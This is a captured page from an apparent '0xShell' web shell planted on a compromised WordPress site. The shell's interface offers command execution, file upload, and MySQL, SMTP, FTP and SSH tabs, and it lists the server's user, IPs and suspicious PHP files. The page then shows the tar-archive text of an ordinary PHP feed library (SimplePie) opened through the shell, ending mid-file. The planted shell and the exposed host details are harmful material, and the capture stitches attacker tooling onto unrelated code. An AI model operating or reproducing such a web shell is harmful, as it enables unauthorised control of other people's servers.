0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php
src/HTTP/Parser.php 0000644 00000035551 15220516755 0010100 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\HTTP;
/**
* HTTP Response Parser
* @template Psr7Compatible of bool
*/
class Parser
{
/**
* HTTP Version
*
* @var float
*/
public $http_version = 0.0;
/**
* Status code
*
* @var int
*/
public $status_code = 0;
/**
* Reason phrase
*
* @var string
*/
public $reason = '';
/**
* @var Psr7Compatible whether headers are compatible with PSR-7 format.
*/
private $psr7Compatible;
/**
* Key/value pairs of the headers
*
* @var (Psr7Compatible is true ? array<string, non-empty-array<string>> : array<string, string>)
*/
public $headers = [];
/**
* Body of the response
*
* @var string
*/
public $body = '';
private const STATE_HTTP_VERSION = 'http_version';
private const STATE_STATUS = 'status';
private const STATE_REASON = 'reason';
private const STATE_NEW_LINE = 'new_line';
private const STATE_BODY = 'body';
private const STATE_NAME = 'name';
private const STATE_VALUE = 'value';
private const STATE_VALUE_CHAR = 'value_char';
private const STATE_QUOTE = 'quote';
private const STATE_QUOTE_ESCAPED = 'quote_escaped';
private const STATE_QUOTE_CHAR = 'quote_char';
private const STATE_CHUNKED = 'chunked';
private const STATE_EMIT = 'emit';
private const STATE_ERROR = false;
/**
* Current state of the state machine
*
* @var self::STATE_*
*/
protected $state = self::STATE_HTTP_VERSION;
/**
* Input data
*
* @var string
*/
protected $data = '';
/**
* Input data length (to avoid calling strlen() everytime this is needed)
*
* @var int
*/
protected $data_length = 0;
/**
* Current position of the pointer
*
* @var int
*/
protected $position = 0;
/**
* Name of the header currently being parsed
*
* @var string
*/
protected $name = '';
/**
* Value of the header currently being parsed
*
* @var string
*/
protected $value = '';
/**
* Create an instance of the class with the input data
*
* @param string $data Input data
* @param Psr7Compatible $psr7Compatible Whether the data types are in format compatible with PSR-7.
*/
public function __construct(string $data, bool $psr7Compatible = false)
{
$this->data = $data;
$this->data_length = strlen($this->data);
$this->psr7Compatible = $psr7Compatible;
}
/**
* Parse the input data
*
* @return bool true on success, false on failure
*/
public function parse()
{
while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
$state = $this->state;
$this->$state();
}
$this->data = '';
if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) {
return true;
}
// Reset the parser state.
$this->http_version = 0.0;
$this->status_code = 0;
$this->reason = '';
$this->headers = [];
$this->body = '';
return false;
}
/**
* Check whether there is data beyond the pointer
*
* @return bool true if there is further data, false if not
*/
protected function has_data()
{
return (bool) ($this->position < $this->data_length);
}
/**
* See if the next character is LWS
*
* @return bool true if the next character is LWS, false if not
*/
protected function is_linear_whitespace()
{
return (bool) ($this->data[$this->position] === "\x09"
|| $this->data[$this->position] === "\x20"
|| ($this->data[$this->position] === "\x0A"
&& isset($this->data[$this->position + 1])
&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
}
/**
* Parse the HTTP version
* @return void
*/
protected function http_version()
{
if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') {
$len = strspn($this->data, '0123456789.', 5);
$http_version = substr($this->data, 5, $len);
$this->position += 5 + $len;
if (substr_count($http_version, '.') <= 1) {
$this->http_version = (float) $http_version;
$this->position += strspn($this->data, "\x09\x20", $this->position);
$this->state = self::STATE_STATUS;
} else {
$this->state = self::STATE_ERROR;
}
} else {
$this->state = self::STATE_ERROR;
}
}
/**
* Parse the status code
* @return void
*/
protected function status()
{
if ($len = strspn($this->data, '0123456789', $this->position)) {
$this->status_code = (int) substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = self::STATE_REASON;
} else {
$this->state = self::STATE_ERROR;
}
}
/**
* Parse the reason phrase
* @return void
*/
protected function reason()
{
$len = strcspn($this->data, "\x0A", $this->position);
$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
$this->position += $len + 1;
$this->state = self::STATE_NEW_LINE;
}
private function add_header(string $name, string $value): void
{
if ($this->psr7Compatible) {
// For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
/** @var array<string, non-empty-array<string>> */
$headers = &$this->headers;
$headers[$name][] = $value;
} else {
// For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
/** @var array<string, string>) */
$headers = &$this->headers;
$headers[$name] .= ', ' . $value;
}
}
private function replace_header(string $name, string $value): void
{
if ($this->psr7Compatible) {
// For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
/** @var array<string, non-empty-array<string>> */
$headers = &$this->headers;
$headers[$name] = [$value];
} else {
// For PHPStan: should be enforced by template parameter but PHPStan is not smart enough.
/** @var array<string, string>) */
$headers = &$this->headers;
$headers[$name] = $value;
}
}
/**
* Deal with a new line, shifting data around as needed
* @return void
*/
protected function new_line()
{
$this->value = trim($this->value, "\x0D\x20");
if ($this->name !== '' && $this->value !== '') {
$this->name = strtolower($this->name);
// We should only use the last Content-Type header. c.f. issue #1
if (isset($this->headers[$this->name]) && $this->name !== 'content-type') {
$this->add_header($this->name, $this->value);
} else {
$this->replace_header($this->name, $this->value);
}
}
$this->name = '';
$this->value = '';
if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") {
$this->position += 2;
$this->state = self::STATE_BODY;
} elseif ($this->data[$this->position] === "\x0A") {
$this->position++;
$this->state = self::STATE_BODY;
} else {
$this->state = self::STATE_NAME;
}
}
/**
* Parse a header name
* @return void
*/
protected function name()
{
$len = strcspn($this->data, "\x0A:", $this->position);
if (isset($this->data[$this->position + $len])) {
if ($this->data[$this->position + $len] === "\x0A") {
$this->position += $len;
$this->state = self::STATE_NEW_LINE;
} else {
$this->name = substr($this->data, $this->position, $len);
$this->position += $len + 1;
$this->state = self::STATE_VALUE;
}
} else {
$this->state = self::STATE_ERROR;
}
}
/**
* Parse LWS, replacing consecutive LWS characters with a single space
* @return void
*/
protected function linear_whitespace()
{
do {
if (substr($this->data, $this->position, 2) === "\x0D\x0A") {
$this->position += 2;
} elseif ($this->data[$this->position] === "\x0A") {
$this->position++;
}
$this->position += strspn($this->data, "\x09\x20", $this->position);
} while ($this->has_data() && $this->is_linear_whitespace());
$this->value .= "\x20";
}
/**
* See what state to move to while within non-quoted header values
* @return void
*/
protected function value()
{
if ($this->is_linear_whitespace()) {
$this->linear_whitespace();
} else {
switch ($this->data[$this->position]) {
case '"':
// Workaround for ETags: we have to include the quotes as
// part of the tag.
if (strtolower($this->name) === 'etag') {
$this->value .= '"';
$this->position++;
$this->state = self::STATE_VALUE_CHAR;
break;
}
$this->position++;
$this->state = self::STATE_QUOTE;
break;
case "\x0A":
$this->position++;
$this->state = self::STATE_NEW_LINE;
break;
default:
$this->state = self::STATE_VALUE_CHAR;
break;
}
}
}
/**
* Parse a header value while outside quotes
* @return void
*/
protected function value_char()
{
$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
$this->value .= substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = self::STATE_VALUE;
}
/**
* See what state to move to while within quoted header values
* @return void
*/
protected function quote()
{
if ($this->is_linear_whitespace()) {
$this->linear_whitespace();
} else {
switch ($this->data[$this->position]) {
case '"':
$this->position++;
$this->state = self::STATE_VALUE;
break;
case "\x0A":
$this->position++;
$this->state = self::STATE_NEW_LINE;
break;
case '\\':
$this->position++;
$this->state = self::STATE_QUOTE_ESCAPED;
break;
default:
$this->state = self::STATE_QUOTE_CHAR;
break;
}
}
}
/**
* Parse a header value while within quotes
* @return void
*/
protected function quote_char()
{
$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
$this->value .= substr($this->data, $this->position, $len);
$this->position += $len;
$this->state = self::STATE_VALUE;
}
/**
* Parse an escaped character within quotes
* @return void
*/
protected function quote_escaped()
{
$this->value .= $this->data[$this->position];
$this->position++;
$this->state = self::STATE_QUOTE;
}
/**
* Parse the body
* @return void
*/
protected function body()
{
$this->body = substr($this->data, $this->position);
if (!empty($this->headers['transfer-encoding'])) {
unset($this->headers['transfer-encoding']);
$this->state = self::STATE_CHUNKED;
} else {
$this->state = self::STATE_EMIT;
}
}
/**
* Parsed a "Transfer-Encoding: chunked" body
* @return void
*/
protected function chunked()
{
if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) {
$this->state = self::STATE_EMIT;
return;
}
$decoded = '';
$encoded = $this->body;
while (true) {
$is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches);
if (!$is_chunked) {
// Looks like it's not chunked after all
$this->state = self::STATE_EMIT;
return;
}
$length = hexdec(trim($matches[1]));
// For PHPStan: this will only be float when larger than PHP_INT_MAX.
// But even on 32-bit systems, it would mean 2GiB chunk, which sounds unlikely.
\assert(\is_int($length), "Length needs to be shorter than PHP_INT_MAX");
if ($length === 0) {
// Ignore trailer headers
$this->state = self::STATE_EMIT;
$this->body = $decoded;
return;
}
$chunk_length = strlen($matches[0]);
$decoded .= substr($encoded, $chunk_length, $length);
$encoded = substr($encoded, $chunk_length + $length + 2);
// BC for PHP < 8.0: substr() can return bool instead of string
$encoded = ($encoded === false) ? '' : $encoded;
if (trim($encoded) === '0' || empty($encoded)) {
$this->state = self::STATE_EMIT;
$this->body = $decoded;
return;
}
}
}
/**
* Prepare headers (take care of proxies headers)
*
* @param string $headers Raw headers
* @param non-negative-int $count Redirection count. Default to 1.
*
* @return string
*/
public static function prepareHeaders(string $headers, int $count = 1)
{
$data = explode("\r\n\r\n", $headers, $count);
$data = array_pop($data);
if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
$exploded = explode("\r\n\r\n", $data, 2);
$data = end($exploded);
}
if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
$exploded = explode("\r\n\r\n", $data, 2);
$data = end($exploded);
}
return $data;
}
}
class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser');
src/HTTP/Response.php 0000644 00000015435 15220516755 0010441 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-FileCopyrightText: 2014 PHP Framework Interoperability Group
// SPDX-License-Identifier: MIT
declare(strict_types=1);
namespace SimplePie\HTTP;
/**
* HTTP Response interface
*
* This interface must be interoperable with Psr\Http\Message\ResponseInterface
* @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
*
* @internal
*/
interface Response
{
/**
* Return the string representation of the permanent URI of the requested resource
* (the first location after a prefix of (only) permanent redirects).
*
* Depending on which components of the URI are present, the resulting
* string is either a full URI or relative reference according to RFC 3986,
* Section 4.1. The method concatenates the various components of the URI,
* using the appropriate delimiters:
*
* - If a scheme is present, it MUST be suffixed by ":".
* - If an authority is present, it MUST be prefixed by "//".
* - The path can be concatenated without delimiters. But there are two
* cases where the path has to be adjusted to make the URI reference
* valid as PHP does not allow to throw an exception in __toString():
* - If the path is rootless and an authority is present, the path MUST
* be prefixed by "/".
* - If the path is starting with more than one "/" and no authority is
* present, the starting slashes MUST be reduced to one.
* - If a query is present, it MUST be prefixed by "?".
* - If a fragment is present, it MUST be prefixed by "#".
*
* @see http://tools.ietf.org/html/rfc3986#section-4.1
*/
public function get_permanent_uri(): string;
/**
* Return the string representation of the final requested URL after following all redirects.
*
* Depending on which components of the URI are present, the resulting
* string is either a full URI or relative reference according to RFC 3986,
* Section 4.1. The method concatenates the various components of the URI,
* using the appropriate delimiters:
*
* - If a scheme is present, it MUST be suffixed by ":".
* - If an authority is present, it MUST be prefixed by "//".
* - The path can be concatenated without delimiters. But there are two
* cases where the path has to be adjusted to make the URI reference
* valid as PHP does not allow to throw an exception in __toString():
* - If the path is rootless and an authority is present, the path MUST
* be prefixed by "/".
* - If the path is starting with more than one "/" and no authority is
* present, the starting slashes MUST be reduced to one.
* - If a query is present, it MUST be prefixed by "?".
* - If a fragment is present, it MUST be prefixed by "#".
*
* @see http://tools.ietf.org/html/rfc3986#section-4.1
*/
public function get_final_requested_uri(): string;
/**
* Gets the response status code.
*
* The status code is a 3-digit integer result code of the server's attempt
* to understand and satisfy the request.
*
* @return int Status code.
*/
public function get_status_code(): int;
/**
* Retrieves all message header values.
*
* The keys represent the header name as it will be sent over the wire, and
* each value is an array of strings associated with the header.
*
* // Represent the headers as a string
* foreach ($message->get_headers() as $name => $values) {
* echo $name . ': ' . implode(', ', $values);
* }
*
* // Emit headers iteratively:
* foreach ($message->get_headers() as $name => $values) {
* foreach ($values as $value) {
* header(sprintf('%s: %s', $name, $value), false);
* }
* }
*
* @return array<non-empty-array<string>> Returns an associative array of the message's headers.
* Each key MUST be a header name, and each value MUST be an array of
* strings for that header.
*/
public function get_headers(): array;
/**
* Checks if a header exists by the given case-insensitive name.
*
* @param string $name Case-insensitive header field name.
* @return bool Returns true if any header names match the given header
* name using a case-insensitive string comparison. Returns false if
* no matching header name is found in the message.
*/
public function has_header(string $name): bool;
/**
* Retrieves a message header value by the given case-insensitive name.
*
* This method returns an array of all the header values of the given
* case-insensitive header name.
*
* If the header does not appear in the message, this method MUST return an
* empty array.
*
* @param string $name Case-insensitive header field name.
* @return string[] An array of string values as provided for the given
* header. If the header does not appear in the message, this method MUST
* return an empty array.
*/
public function get_header(string $name): array;
/**
* Return an instance with the provided value replacing the specified header.
*
* This method MUST be implemented in such a way as to retain the
* immutability of the message, and MUST return an instance that has the
* new and/or updated header and value.
*
* @param string $name Case-insensitive header field name.
* @param string|non-empty-array<string> $value Header value(s).
* @return static
* @throws \InvalidArgumentException for invalid header names or values.
*/
public function with_header(string $name, $value);
/**
* Retrieves a comma-separated string of the values for a single header.
*
* This method returns all of the header values of the given
* case-insensitive header name as a string concatenated together using
* a comma.
*
* NOTE: Not all header values may be appropriately represented using
* comma concatenation. For such headers, use getHeader() instead
* and supply your own delimiter when concatenating.
*
* If the header does not appear in the message, this method MUST return
* an empty string.
*
* @param string $name Case-insensitive header field name.
* @return string A string of values as provided for the given header
* concatenated together using a comma. If the header does not appear in
* the message, this method MUST return an empty string.
*/
public function get_header_line(string $name): string;
/**
* get the body as string
*
* @return string
*/
public function get_body_content(): string;
}
src/HTTP/Psr7Response.php 0000644 00000004201 15220516755 0011202 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\HTTP;
use Psr\Http\Message\ResponseInterface;
/**
* HTTP Response based on a PSR-7 response
*
* This interface must be interoperable with Psr\Http\Message\ResponseInterface
* @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
*
* @internal
*/
final class Psr7Response implements Response
{
/**
* @var ResponseInterface
*/
private $response;
/**
* @var string
*/
private $permanent_url;
/**
* @var string
*/
private $requested_url;
public function __construct(ResponseInterface $response, string $permanent_url, string $requested_url)
{
$this->response = $response;
$this->permanent_url = $permanent_url;
$this->requested_url = $requested_url;
}
public function get_permanent_uri(): string
{
return $this->permanent_url;
}
public function get_final_requested_uri(): string
{
return $this->requested_url;
}
public function get_status_code(): int
{
return $this->response->getStatusCode();
}
public function get_headers(): array
{
// The filtering is probably redundant but let’s make PHPStan happy.
return array_filter($this->response->getHeaders(), function (array $header): bool {
return count($header) >= 1;
});
}
public function has_header(string $name): bool
{
return $this->response->hasHeader($name);
}
public function with_header(string $name, $value)
{
return new self($this->response->withHeader($name, $value), $this->permanent_url, $this->requested_url);
}
public function get_header(string $name): array
{
return $this->response->getHeader($name);
}
public function get_header_line(string $name): string
{
return $this->response->getHeaderLine($name);
}
public function get_body_content(): string
{
return $this->response->getBody()->__toString();
}
}
src/HTTP/ClientException.php 0000644 00000000515 15220516755 0011731 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\HTTP;
use SimplePie\Exception as SimplePieException;
/**
* Client exception class
*
* @internal
*/
final class ClientException extends SimplePieException
{
}
src/HTTP/Client.php 0000644 00000001137 15220516755 0010053 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\HTTP;
/**
* HTTP Client interface
*
* @internal
*/
interface Client
{
public const METHOD_GET = 'GET';
/**
* send a request and return the response
*
* @param Client::METHOD_* $method
* @param array<string, string> $headers
*
* @throws ClientException if anything goes wrong requesting the data
*/
public function request(string $method, string $url, array $headers = []): Response;
}
src/HTTP/Psr18Client.php 0000644 00000010537 15220516755 0010715 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\HTTP;
use InvalidArgumentException;
use Psr\Http\Client\ClientExceptionInterface;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use Throwable;
/**
* HTTP Client based on PSR-18 and PSR-17 implementations
*
* @internal
*/
final class Psr18Client implements Client
{
/**
* @var ClientInterface
*/
private $httpClient;
/**
* @var RequestFactoryInterface
*/
private $requestFactory;
/**
* @var UriFactoryInterface
*/
private $uriFactory;
/**
* @var int
*/
private $allowedRedirects = 5;
public function __construct(ClientInterface $httpClient, RequestFactoryInterface $requestFactory, UriFactoryInterface $uriFactory)
{
$this->httpClient = $httpClient;
$this->requestFactory = $requestFactory;
$this->uriFactory = $uriFactory;
}
public function getHttpClient(): ClientInterface
{
return $this->httpClient;
}
public function getRequestFactory(): RequestFactoryInterface
{
return $this->requestFactory;
}
public function getUriFactory(): UriFactoryInterface
{
return $this->uriFactory;
}
/**
* send a request and return the response
*
* @param Client::METHOD_* $method
* @param string $url
* @param array<string,string|string[]> $headers
*
* @throws ClientException if anything goes wrong requesting the data
*/
public function request(string $method, string $url, array $headers = []): Response
{
if ($method !== self::METHOD_GET) {
throw new InvalidArgumentException(sprintf(
'%s(): Argument #1 ($method) only supports method "%s".',
__METHOD__,
self::METHOD_GET
), 1);
}
if (preg_match('/^http(s)?:\/\//i', $url)) {
return $this->requestUrl($method, $url, $headers);
}
return $this->requestLocalFile($url);
}
/**
* @param array<string,string|string[]> $headers
*/
private function requestUrl(string $method, string $url, array $headers): Response
{
$permanentUrl = $url;
$requestedUrl = $url;
$remainingRedirects = $this->allowedRedirects;
$request = $this->requestFactory->createRequest(
$method,
$this->uriFactory->createUri($requestedUrl)
);
foreach ($headers as $name => $value) {
$request = $request->withHeader($name, $value);
}
do {
$followRedirect = false;
try {
$response = $this->httpClient->sendRequest($request);
} catch (ClientExceptionInterface $th) {
throw new ClientException($th->getMessage(), $th->getCode(), $th);
}
$statusCode = $response->getStatusCode();
// If we have a redirect
if (in_array($statusCode, [300, 301, 302, 303, 307]) && $response->hasHeader('Location')) {
// Prevent infinity redirect loops
if ($remainingRedirects <= 0) {
break;
}
$remainingRedirects--;
$followRedirect = true;
$requestedUrl = $response->getHeaderLine('Location');
if ($statusCode === 301) {
$permanentUrl = $requestedUrl;
}
$request = $request->withUri($this->uriFactory->createUri($requestedUrl));
}
} while ($followRedirect);
return new Psr7Response($response, $permanentUrl, $requestedUrl);
}
private function requestLocalFile(string $path): Response
{
if (!is_readable($path)) {
throw new ClientException(sprintf('file "%s" is not readable', $path));
}
try {
$raw = file_get_contents($path);
} catch (Throwable $th) {
throw new ClientException($th->getMessage(), $th->getCode(), $th);
}
if ($raw === false) {
throw new ClientException('file_get_contents() could not read the file', 1);
}
return new RawTextResponse($raw, $path);
}
}
src/HTTP/FileClient.php 0000644 00000004333 15220516755 0010654 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\HTTP;
use InvalidArgumentException;
use SimplePie\File;
use SimplePie\Misc;
use SimplePie\Registry;
use Throwable;
/**
* HTTP Client based on \SimplePie\File
*
* @internal
*/
final class FileClient implements Client
{
/** @var Registry */
private $registry;
/** @var array{timeout?: int, redirects?: int, useragent?: string, force_fsockopen?: bool, curl_options?: array<mixed>} */
private $options;
/**
* @param array{timeout?: int, redirects?: int, useragent?: string, force_fsockopen?: bool, curl_options?: array<mixed>} $options
*/
public function __construct(Registry $registry, array $options = [])
{
$this->registry = $registry;
$this->options = $options;
}
/**
* send a request and return the response
*
* @param Client::METHOD_* $method
* @param array<string, string> $headers
*
* @throws ClientException if anything goes wrong requesting the data
*/
public function request(string $method, string $url, array $headers = []): Response
{
// @phpstan-ignore-next-line Enforce PHPDoc type.
if ($method !== self::METHOD_GET) {
throw new InvalidArgumentException(sprintf(
'%s(): Argument #1 ($method) only supports method "%s".',
__METHOD__,
self::METHOD_GET
), 1);
}
try {
$file = $this->registry->create(File::class, [
$url,
$this->options['timeout'] ?? 10,
$this->options['redirects'] ?? 5,
$headers,
$this->options['useragent'] ?? Misc::get_default_useragent(),
$this->options['force_fsockopen'] ?? false,
$this->options['curl_options'] ?? []
]);
} catch (Throwable $th) {
throw new ClientException($th->getMessage(), $th->getCode(), $th);
}
if ($file->error !== null && $file->get_status_code() === 0) {
throw new ClientException($file->error);
}
return $file;
}
}
src/HTTP/RawTextResponse.php 0000644 00000004027 15220516755 0011753 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\HTTP;
/**
* HTTP Response for rax text
*
* This interface must be interoperable with Psr\Http\Message\ResponseInterface
* @see https://www.php-fig.org/psr/psr-7/#33-psrhttpmessageresponseinterface
*
* @internal
*/
final class RawTextResponse implements Response
{
/**
* @var string
*/
private $raw_text;
/**
* @var string
*/
private $permanent_url;
/**
* @var array<non-empty-array<string>>
*/
private $headers = [];
/**
* @var string
*/
private $requested_url;
public function __construct(string $raw_text, string $filepath)
{
$this->raw_text = $raw_text;
$this->permanent_url = $filepath;
$this->requested_url = $filepath;
}
public function get_permanent_uri(): string
{
return $this->permanent_url;
}
public function get_final_requested_uri(): string
{
return $this->requested_url;
}
public function get_status_code(): int
{
return 200;
}
public function get_headers(): array
{
return $this->headers;
}
public function has_header(string $name): bool
{
return isset($this->headers[strtolower($name)]);
}
public function get_header(string $name): array
{
return isset($this->headers[strtolower($name)]) ? $this->headers[$name] : [];
}
public function with_header(string $name, $value)
{
$new = clone $this;
$newHeader = [
strtolower($name) => (array) $value,
];
$new->headers = $newHeader + $this->headers;
return $new;
}
public function get_header_line(string $name): string
{
return isset($this->headers[strtolower($name)]) ? implode(", ", $this->headers[$name]) : '';
}
public function get_body_content(): string
{
return $this->raw_text;
}
}
src/Gzdecode.php 0000644 00000020500 15220516755 0007575 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Decode 'gzip' encoded HTTP data
*
* @link http://www.gzip.org/format.txt
* @link https://www.php.net/manual/en/function.gzdecode.php
* @deprecated since SimplePie 1.9.0, use `gzdecode` function instead.
*/
class Gzdecode
{
/**
* Compressed data
*
* @access private
* @var string
* @see gzdecode::$data
*/
public $compressed_data;
/**
* Size of compressed data
*
* @access private
* @var int
*/
public $compressed_size;
/**
* Minimum size of a valid gzip string
*
* @access private
* @var int
*/
public $min_compressed_size = 18;
/**
* Current position of pointer
*
* @access private
* @var int
*/
public $position = 0;
/**
* Flags (FLG)
*
* @access private
* @var int
*/
public $flags;
/**
* Uncompressed data
*
* @access public
* @see gzdecode::$compressed_data
* @var string
*/
public $data;
/**
* Modified time
*
* @access public
* @var int
*/
public $MTIME;
/**
* Extra Flags
*
* @access public
* @var int
*/
public $XFL;
/**
* Operating System
*
* @access public
* @var int
*/
public $OS;
/**
* Subfield ID 1
*
* @access public
* @see gzdecode::$extra_field
* @see gzdecode::$SI2
* @var string
*/
public $SI1;
/**
* Subfield ID 2
*
* @access public
* @see gzdecode::$extra_field
* @see gzdecode::$SI1
* @var string
*/
public $SI2;
/**
* Extra field content
*
* @access public
* @see gzdecode::$SI1
* @see gzdecode::$SI2
* @var string
*/
public $extra_field;
/**
* Original filename
*
* @access public
* @var string
*/
public $filename;
/**
* Human readable comment
*
* @access public
* @var string
*/
public $comment;
/**
* Don't allow anything to be set
*
* @param string $name
* @param mixed $value
*/
public function __set(string $name, $value)
{
throw new Exception("Cannot write property $name");
}
/**
* Set the compressed string and related properties
*
* @param string $data
*/
public function __construct(string $data)
{
$this->compressed_data = $data;
$this->compressed_size = strlen($data);
}
/**
* Decode the GZIP stream
*
* @return bool Successfulness
*/
public function parse()
{
if ($this->compressed_size >= $this->min_compressed_size) {
$len = 0;
// Check ID1, ID2, and CM
if (substr($this->compressed_data, 0, 3) !== "\x1F\x8B\x08") {
return false;
}
// Get the FLG (FLaGs)
$this->flags = ord($this->compressed_data[3]);
// FLG bits above (1 << 4) are reserved
if ($this->flags > 0x1F) {
return false;
}
// Advance the pointer after the above
$this->position += 4;
// MTIME
$mtime = substr($this->compressed_data, $this->position, 4);
// Reverse the string if we're on a big-endian arch because l is the only signed long and is machine endianness
if (current((array) unpack('S', "\x00\x01")) === 1) {
$mtime = strrev($mtime);
}
$this->MTIME = current((array) unpack('l', $mtime));
$this->position += 4;
// Get the XFL (eXtra FLags)
$this->XFL = ord($this->compressed_data[$this->position++]);
// Get the OS (Operating System)
$this->OS = ord($this->compressed_data[$this->position++]);
// Parse the FEXTRA
if ($this->flags & 4) {
// Read subfield IDs
$this->SI1 = $this->compressed_data[$this->position++];
$this->SI2 = $this->compressed_data[$this->position++];
// SI2 set to zero is reserved for future use
if ($this->SI2 === "\x00") {
return false;
}
// Get the length of the extra field
$len = current((array) unpack('v', substr($this->compressed_data, $this->position, 2)));
$this->position += 2;
// Check the length of the string is still valid
$this->min_compressed_size += $len + 4;
if ($this->compressed_size >= $this->min_compressed_size) {
// Set the extra field to the given data
$this->extra_field = substr($this->compressed_data, $this->position, $len);
$this->position += $len;
} else {
return false;
}
}
// Parse the FNAME
if ($this->flags & 8) {
// Get the length of the filename
$len = strcspn($this->compressed_data, "\x00", $this->position);
// Check the length of the string is still valid
$this->min_compressed_size += $len + 1;
if ($this->compressed_size >= $this->min_compressed_size) {
// Set the original filename to the given string
$this->filename = substr($this->compressed_data, $this->position, $len);
$this->position += $len + 1;
} else {
return false;
}
}
// Parse the FCOMMENT
if ($this->flags & 16) {
// Get the length of the comment
$len = strcspn($this->compressed_data, "\x00", $this->position);
// Check the length of the string is still valid
$this->min_compressed_size += $len + 1;
if ($this->compressed_size >= $this->min_compressed_size) {
// Set the original comment to the given string
$this->comment = substr($this->compressed_data, $this->position, $len);
$this->position += $len + 1;
} else {
return false;
}
}
// Parse the FHCRC
if ($this->flags & 2) {
// Check the length of the string is still valid
$this->min_compressed_size += $len + 2;
if ($this->compressed_size >= $this->min_compressed_size) {
// Read the CRC
$crc = current((array) unpack('v', substr($this->compressed_data, $this->position, 2)));
// Check the CRC matches
if ((crc32(substr($this->compressed_data, 0, $this->position)) & 0xFFFF) === $crc) {
$this->position += 2;
} else {
return false;
}
} else {
return false;
}
}
// Decompress the actual data
if (($data = gzinflate(substr($this->compressed_data, $this->position, -8))) === false) {
return false;
}
$this->data = $data;
$this->position = $this->compressed_size - 8;
// Check CRC of data
$crc = current((array) unpack('V', substr($this->compressed_data, $this->position, 4)));
$this->position += 4;
/*if (extension_loaded('hash') && sprintf('%u', current(unpack('V', hash('crc32b', $this->data)))) !== sprintf('%u', $crc))
{
return false;
}*/
// Check ISIZE of data
$isize = current((array) unpack('V', substr($this->compressed_data, $this->position, 4)));
$this->position += 4;
if (sprintf('%u', strlen($this->data) & 0xFFFFFFFF) !== sprintf('%u', $isize)) {
return false;
}
// Wow, against all odds, we've actually got a valid gzip string
return true;
}
return false;
}
}
class_alias('SimplePie\Gzdecode', 'SimplePie_gzdecode');
src/Cache/Psr16.php 0000644 00000006270 15220516755 0007777 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
use Psr\SimpleCache\CacheInterface;
